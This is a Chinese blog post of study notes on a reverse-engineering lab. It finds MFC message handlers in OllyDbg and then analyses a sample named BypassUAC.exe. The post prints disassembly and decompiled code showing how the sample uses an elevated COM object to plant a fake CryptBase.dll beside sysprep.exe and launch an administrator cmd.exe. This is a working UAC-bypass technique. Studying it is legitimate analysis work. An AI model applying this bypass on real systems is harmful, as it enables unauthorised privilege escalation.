转载请注明出处http://blog.csdn.net/wuyangbotianshi

注:下面文章中谈到的作者都是《黑客免杀攻防》的作者,并不是本文的作者。

由于之前的C++逆向知识比较简单,所以第9章就只记录两个实验,一个就是这个初探MFC实验,另外一个就是探索C++的菱形继承。

1.MFC基础

         逆向具有MFC框架的程序并不一定要跟踪MFC框架代码,是否需要这样做取决于逆向的目的。如果我们逆向的内容是与MFC框架本身有关的,那就需要逆向MFC,否则只需要关心其对应的消息响应函数即可。实验用的这个例子就是一个按钮触发的接下来的程序,所以只需要关心单击这个按钮之后的执行的代码就可以了。

         下面是本书的作者的总结。作者总结出在程序使用MFC静态或动态库时所具有的调用特征,如下表所示:

 

         知道了这些特征之后,那就很容易找到找到相应的关键函数了。主要分为以下几步:

(1)判断目标程序是否是MFC程序,若是则判断版本

以本例中的程序为例,加载到OD中,打开模块窗口,如下所示:

 

《黑客免杀攻防学习笔记》——MFC初探-LMLPHP

 

可以看到在所有的加载模块中并没有找到相应的MFC动态加载库文件,所以这个程序可能是静态调用MFC框架或者根本不是MFC程序。

         (2)根据目标程序调用的不同MFC方式及版本使用不同的方式搜索特征。

         若是动态使用MFC则双击相应的mfc文件然后搜索相关指令,否则在代码起始处搜索。这里采用后者,搜索结果如下图所示:

《黑客免杀攻防学习笔记》——MFC初探-LMLPHP

本书作者说搜索到的指令是在消息分发函数中,因此必然会根据不同的消息来调用不同的处理函数,所以就应该是一个巨大的switch结构,根据

《黑客免杀攻防学习笔记》——MFC初探-LMLPHP这条指令很明显看得出跳转到switch结构的跳转表,所以这里刚好这里就是switch结构,否则就需要按Ctrl+L查找下一个特征所在位置,直到找到为止,否则这个程序就没有使用MFC框架。

 

(3)在合适的位置下断点然后进入相应的消息处理函数

         接着就是需要跟进到消息处理函数中分析其中的代码。书上说单击按钮的值是“0x39”,但是我还是没有找到这个值在哪里定义的,先跟进去吧。所以直接在处理函数的入口处下断电。如果需要寻找其他消息的处理函数,只需要跳转到switch的跳转表那条语句下断点即刻,因为所有的消息处理都会用到那条语句,然后再逐个函数分析。

         下面具体来分析BypassUAC.exe,这个程序用来突破系统的UAC直接以管理员权限运行cmd.exe程序。

2.实战BypassUAC.exe

         根据上面下的断点,直接运行到断点处,跟进处理函数,发现是如下代码:

《黑客免杀攻防学习笔记》——MFC初探-LMLPHP

看到这个函数只调用了两个函数,分别获取当前模块的句柄,然后调用RemoteLoadDllByResource函数,顾名思义,这个函数就是从当前模块的资源中读取一个dll文件然后远程加载。而通过查阅函数的资料可以知道,参数explorer.exe则是远程加载dll文件的宿主名,SHELL_CODE则是资源名。我们接下来用LoadPE打开该exe文件如下图所示:

《黑客免杀攻防学习笔记》——MFC初探-LMLPHP

这是该exe文件的资源目录,可以看到SEHLL_CODE正是一个资源,将其dump并另存为一个dll文件:

《黑客免杀攻防学习笔记》——MFC初探-LMLPHP

这里另存为的文件名为stub.dll,说明SEHLL_CODE中的内容确实是一个dll文件。所以关键的代码就在这个dll文件中,下面使用IDA对其分析。《黑客免杀攻防学习笔记》——MFC初探-LMLPHP

 

初看这个结构并不是十分复杂,有大量的if-else判断语句,几乎都是线性结构,下面再来仔细看其中的代码。

.text:10001000 ; BOOL __stdcallDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

.text:10001000 _DllMain@12     proc near               ; CODE XREF:

.text:10001000                                         ;___DllMainCRTStartup+89p

.text:10001000 NumberOfBytesWritten= dwordptr -828h

.text:10001000 PathName        = word ptr -824h

.text:10001000 Dst             = byte ptr -822h

.text:10001000 var_61C         = word ptr -61Ch

.text:10001000 var_61A         = byte ptr -61Ah

.text:10001000 Src             = word ptr -414h

.text:10001000 var_412         = byte ptr -412h

.text:10001000 FileName        = word ptr -20Ch

.text:10001000 var_20A         = byte ptr -20Ah

.text:10001000 var_4           = dword ptr -4

.text:10001000 hModule         = dword ptr  8

.text:10001000 fdwReason       = dword ptr  0Ch

.text:10001000 lpvReserved     = dword ptr  10h

;以上是一些变量的声明,通过上面的代码可以了解到函数的栈结构

.text:10001000                 push    ebp

.text:10001001                 mov     ebp, esp

.text:10001003                 sub     esp, 828h

…… ……              …………                       …… …….

.text:10001022                 push    offset Type     ; "BIN_DLL"

.text:10001027                 push    65h             ; lpName

.text:10001029                 push    edi             ; hModule

.text:1000102A                call    ds:FindResourceW

.text:10001030                 mov     esi, eax

.text:10001032                 test    esi, esi

.text:10001034                 jz      loc_100011E6

;上面的函数暴露了这个代码的意图,从资源处找到名为"BIN_DLL"的资源并且还进行了返回值判断,如果没有找到直接结束整个函数,loc_100011E6正是函数结尾附近。

.text:1000103A                 push    esi             ; hResInfo

.text:1000103B                 push    edi             ; hModule

.text:1000103C                call    ds:LoadResource   ;加载资源

.text:10001042                 test    eax, eax

.text:10001044                 jz      loc_100011E6                   ;同样指向函数结尾

.text:1000104A                 push   ebx

.text:1000104B                 push    eax             ; hResData

.text:1000104C                call    ds:LockResource;检索指定资源的指针

.text:10001052                 mov     ebx, eax

.text:10001054                 test    ebx, ebx

.text:10001056                 jz      loc_100011E5

.text:1000105C                 push    esi             ; hResInfo

.text:1000105D                 push    edi             ; hModule

.text:1000105E                call    ds:SizeofResource;资源大小

.text:10001064                 mov     edi, eax

.text:10001066                 test    edi, edi

.text:10001068                 jz      loc_100011E5

.text:1000106E                 xor     eax, eax

;上面的代码均是为了获得资源而做的一系列API调用,不过很疑惑这里看上去都没有保存函数的返回值到栈,但是调用函数仅仅是为了判断而不使用辛苦找到的资源吗?下面就来看看怎么回事。

.text:10001070                 push    206h            ; Size

.text:10001075                 push    eax             ; Val

.text:10001076                 lea     ecx, [ebp+Dst]

.text:1000107C                 push    ecx             ; Dst

.text:1000107D                 mov     [ebp+NumberOfBytesWritten], 0

.text:10001087                 mov     [ebp+PathName], ax

.text:1000108E                call    memset   ;将Dst清零

.text:10001093                 xor     edx, edx

.text:10001095                 push    206h            ; Size

.text:1000109A                 push    edx             ; Val

.text:1000109B                 lea     eax, [ebp+var_20A]

.text:100010A1                 push    eax             ; Dst

.text:100010A2                 mov     [ebp+FileName], dx

.text:100010A9                call    memset;将var_20A清零

.text:100010AE                 add     esp, 18h

.text:100010B1                 lea     ecx, [ebp+PathName]

.text:100010B7                 push    ecx             ; lpBuffer

.text:100010B8                 push    104h            ; nBufferLength

.text:100010BD                call    ds:GetTempPathW;注意这个函数

.text:100010C3                 test    eax, eax

.text:100010C5                 jz      loc_100011E5

;这里调用了GetTempPathW函数,书上说这个函数是病毒或木马常用的函数,用于获取系统的临时文件夹目录,接下来的代码基本上就是构造一个随机的临时文件名,并将那些读取出来的资源写入到新的dll文件并保存到临时文件夹里

.text:100010CB                 lea     edx, [ebp+FileName]

.text:100010D1                 push    edx             ; lpTempFileName

.text:100010D2                 push    0               ; uUnique

.text:100010D4                 push    offset PrefixString ; "A1_"

.text:100010D9                 lea     eax, [ebp+PathName]

.text:100010DF                 push    eax             ; lpPathName

.text:100010E0            call   ds:GetTempFileNameW;获取临时文件名,以"A1_"开头

.text:100010E6                 test    eax, eax

.text:100010E8                 jz      loc_100011E5

.text:100010EE                 push    0               ; hTemplateFile

.text:100010F0                 push    80h             ; dwFlagsAndAttributes

.text:100010F5                 push    2               ; dwCreationDisposition

.text:100010F7                 push    0               ; lpSecurityAttributes

.text:100010F9                 push    0              ; dwShareMode

.text:100010FB                 push    40000000h       ; dwDesiredAccess

.text:10001100                 lea     ecx, [ebp+FileName]

.text:10001106                 push    ecx             ; lpFileName

.text:10001107                call    ds:CreateFileW;根据创建的文件名新建一个文件

.text:1000110D                 mov     esi, eax

.text:1000110F                 cmp     esi, 0FFFFFFFFh

.text:10001112                 jz      loc_100011E5

.text:10001118                 push    0               ; lpOverlapped

.text:1000111A                 lea     edx, [ebp+NumberOfBytesWritten]

.text:10001120                 push    edx             ; lpNumberOfBytesWritten

.text:10001121                 push    edi             ; nNumberOfBytesToWrite

.text:10001122                 push    ebx             ; lpBuffer

.text:10001123                 push    esi             ; hFile

.text:10001124                call    ds:WriteFile;写入文件

.text:1000112A                 test    eax, eax

.text:1000112C                 jz     loc_100011E5

.text:10001132                 push    esi             ; hObject

.text:10001133                 call    ds:CloseHandle;关闭句柄

.text:10001139                 xor     eax, eax

;至此这个临时新文件已经被写入到系统的临时目录里面去了

.text:1000113B                 push   206h            ; Size

.text:10001140                 push    eax             ; Val

.text:10001141                 lea     ecx, [ebp+var_412]

.text:10001147                 push    ecx             ; Dst

.text:10001148                 mov     [ebp+Src], ax

.text:1000114F                call    memset   ;var_412清零

.text:10001154                 xor     edx, edx

.text:10001156                 push    206h            ; Size

.text:1000115B                 push    edx             ; Val

.text:1000115C                 lea     eax, [ebp+var_61A]

.text:10001162                 push    eax             ; Dst

.text:10001163                 mov     [ebp+var_61C], dx

.text:1000116A                call    memset;var_61A清零

.text:1000116F                 add     esp, 18h

.text:10001172                 push    104h            ; uSize

.text:10001177                 lea     ecx, [ebp+Src]

.text:1000117D                 push    ecx             ; lpBuffer

.text:1000117E                call    ds:GetSystemDirectoryW;获取系统目录

.text:10001184                 test    eax, eax

.text:10001186                 jz      short loc_100011D8

.text:10001188                 push    104h            ; MaxCount

.text:1000118D                 lea     edx, [ebp+Src]

.text:10001193                 push    edx             ; Src

.text:10001194                 lea     eax, [ebp+var_61C]

.text:1000119A                 push    104h            ; SizeInWords

.text:1000119F                 push    eax             ; Dst

.text:100011A0                call    ds:wcsncpy_s;从Src复制字符串到var_61C

.text:100011A6                 push    offset Src      ; "\\cmd.exe"

.text:100011AB                 lea     ecx, [ebp+var_61C]

.text:100011B1                 push    104h            ; SizeInWords

.text:100011B6                 push    ecx             ; Dst

.text:100011B7                call    ds:wcscat_s;将连接到之前复制字符串后面组成全路径

.text:100011BD                 add     esp, 1Ch

.text:100011C0                 lea     edx, [ebp+FileName];这里保存了临时文件的路径

.text:100011C6                 push    edx

.text:100011C7                 lea     edx, [ebp+Src] ;”\\cmd.exe”

.text:100011CD                 lea     ecx, [ebp+var_61C];cmd.exe文件的全路径

.text:100011D3                call    sub_10001200

;这里调用了函数sub_10001200,并把临时文件的路径作为参数传递了进去,同时可能cmd.exe文件的目录和全路径也被通过寄存器传进去了(这个函数可能是__fastcall调用方式)

.text:100011D8

.text:100011D8 loc_100011D8:                           ; CODE XREF:DllMain(x,x,x)+186j

.text:100011D8                 lea     eax, [ebp+FileName]

.text:100011DE                 push    eax             ; lpFileName

.text:100011DF                call    ds:DeleteFileW;删除临时文件

;下面的代码就是函数的收尾工作了,可以看到最终的代码应该是通过sub_10001200函数执行的,下面就跟踪进去看看,这个函数到底是做了什么

.text:100011E5

.text:100011E5 loc_100011E5:                           ; CODE XREF:DllMain(x,x,x)+56j

.text:100011E5                                         ;DllMain(x,x,x)+68j ...

.text:100011E5                 pop     ebx

.text:100011E6

.text:100011E6 loc_100011E6:                           ; CODE XREF:DllMain(x,x,x)+34j

.text:100011E6                                         ;DllMain(x,x,x)+44j

.text:100011E6                 pop     esi

……   ……                                        ……   ……                     ……   ……  

.text:100011FA                 retn    0Ch

.text:100011FA _DllMain@12     endp

.text:100011FA

.text:100011FA ;---------------------------------------------------------------------------

.text:100011FD                 align 10h

;到这里为止DllMain函数的所有代码执行完毕,下面是sub_10001200函数代码

         我们从上面的代码得到了一个结论,就是DllMain函数里面的所有代码都是为了sub_10001200做准备的,所以对于sub_10001200函数我们应该更加详细的分析,这里可以使用到了IDA中集成的反编译功能,虽然说编译这个过程是不可逆的,但是IDA还是根据汇编代码的结构和内容进行了一定的反编译,虽然不能完全还原源代码,但是相对于复杂的汇编代码而言,高级语言的代码肯定看着容易多了。

char __fastcall sub_10001200(int a1, inta2, int a3)

{//这里可以看到上面的猜测和IDA的分析一样,也是__fastcall调用

int v3;  int v4; char result;  SHELLEXECUTEINFOWpExecInfo;  int v7;  int v8; int v9;  int v10;  void *ppv; BIND_OPTS pBindOptions;  intv13;  int v14;  int v15; int v16; 

int v17;  WCHAR v18; char v19;  __int16 v20;  char v21; __int16 v22;  char v23;

 WCHAR Src;  char Dst;  unsigned int v26;  int v27;

//上面的变量排版经过了处理,不然过于占篇幅了

  v26= (unsigned int)&v27 ^ __security_cookie; v3 =a2;  v4 = a1;  v7 = a3; Src = 0; v22 = 0; v20 = 0;    ppv= 0;  v10 = 0;  v8 = 0; v9 = 0;  v18 = 0; v13 = 0;  v15 = 0; v16 = 0;  v17 = 0; v14 = 4;

//上面代码的初始化也经过了重新排版处理

 memset(&Dst, 0, 0x206u);

 memset(&v23, 0, 0x206u); 

 memset(&v21, 0, 0x206u); 

 memset(&v19, 0, 0x206u);

 wsprintfW(&v18, L"\"%s\" \"%s\"\"\"\r\n", v4, v3);

 pBindOptions.grfFlags = 0;

  pBindOptions.grfMode= 0;

 pBindOptions.dwTickCountDeadline = 0;

 pBindOptions.cbStruct = 36; 

  if( GetSystemDirectoryW(&Src, 0x104u) )

//获取系统目录到src

  {

   wcscat_s(&Src, 0x104u, L"\\sysprep");

   wcsncpy_s((wchar_t *)&v22, 0x104u, &Src, 0x104u);

    wcscat_s((wchar_t *)&v22, 0x104u,L"\\sysprep.exe");

   wcsncpy_s((wchar_t *)&v20, 0x104u, &Src, 0x104u);

   wcscat_s((wchar_t *)&v20, 0x104u, L"\\sysprep.dll");

  }

//上面的代码可归结为src=”系统目录\\ sysprep”;v22=”系统目录\\sysprep\\sysprep.exe”

//v20=”系统目录\\sysprep\\sysprep.dll”。

//这里的sysprep.exe是一个系统准备工具,可以执行系统封装或磁盘复制等操作,并且需//要用到sysprep.dll这个文件(但是我没有在系统目录里发现这个文件,甚至在windows

//目录下都没有,而是只有sysprepMCE.dll,不知是为何),但是这两个文件并不在同一目   //录下,而是在系统目录下面。所以这里可能就是用自己复制出来的dll文件替代系统的这//个dll文件。

  if( CoInitialize(0)

   || CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}",&pBindOptions, &riid, &ppv)

   || !ppv

   || (*(int (__stdcall **)(void *, signed int))(*(_DWORD *)ppv + 20))(ppv,277086228)

|| SHCreateItemFromParsingName(v7,0, &unk_10002268, &v10)

//v7是函数的第三个参数,是之前新建的临时文件目录

   || !v10

||SHCreateItemFromParsingName(&Src, 0, &unk_10002268, &v8)

//src则是”系统目录\\ sysprep”

   || !v8

   || (*(int (__stdcall **)(void *, int, int, _DWORD, _DWORD))(*(_DWORD*)ppv + 64))(ppv, v10, v8, L"CryptBase.dll", 0)

|| (*(int(__stdcall **)(void *))(*(_DWORD *)ppv + 84))(ppv) )

//查询之后发现上面的SHCreateItemFromParsingName函数的作用是从解析路径名中创建 //并初始化一个shell对象,而CoInitialize 和CoGetObject函数则是用于COM相关操作

   goto LABEL_32;

 memset(&pExecInfo, 0, 0x3Cu);

 pExecInfo.lpFile = (LPCWSTR)&v22;

 pExecInfo.cbSize = 60;

 pExecInfo.fMask = 64;

 pExecInfo.lpParameters = &v18;

 pExecInfo.lpDirectory = &Src;

 pExecInfo.nShow = 5;

  if( ShellExecuteExW(&pExecInfo)&& pExecInfo.hProcess )

// ShellExecuteExW函数就是运行外部的一个可执行文件,而结构体pExecInfo 中的IpFile  //则是v22,就是sysprep.exe的全路径;而另外一个参数lpParameters则是v18就是cmd.exe //全路径,lpDirectory则是系统目录

  {

   WaitForSingleObject(pExecInfo.hProcess, 0xFFFFFFFFu);

   CloseHandle(pExecInfo.hProcess);

  }

//从这之后的代码便是清理现场,比如删除伪造的dll文件等操作

  if( SHCreateItemFromParsingName(&v20, 0, &unk_10002268, &v9) || !v9 )

  {

LABEL_32:

   ……….……………………..

 return result;

}

         到了这里,大概是猜到了管理员权限启动sysprep.exe的代码应该在伪造的dll文件中,后面邮件询问作者他也证实了却是如此。这里还是要感谢本书的作者任晓珲老师的耐心回复。但是由于目前水平有限,没有获得临时文件,所以无法看到其中的代码,等到了水平有所提高,再来看这个东西可能就会简单一些吧。

3.总结

         至此这个逆向实验便基本完成了,通过这个实验,发现自己虽然了解一些基础知识,但是对于简单的实际情况下的逆向还是显得经验不足。作者说逆向工程更加像是查询字典,外加大胆的猜想,而不仅仅是逻辑分析能力。我才刚入门,不敢做什么评价,但是我觉得经验确实是查询资料然后总结得出来的。作者的一个比喻非常恰当,学逆向就像学英语,都是出于中游,无法掌控上下游的发展,英语的上游是巨大的词汇量,而上游则是不断丰富的新增词汇以及网络简写,逆向的上游则是各种编译器优化,下游就是程序员的编程方式是完全不可控的,所以学习逆向必须善于总结,注重积累,这样才能够有更大的进步。

转:https://blog.csdn.net/wuyangbotianshi/article/details/17462829

10-05 14:23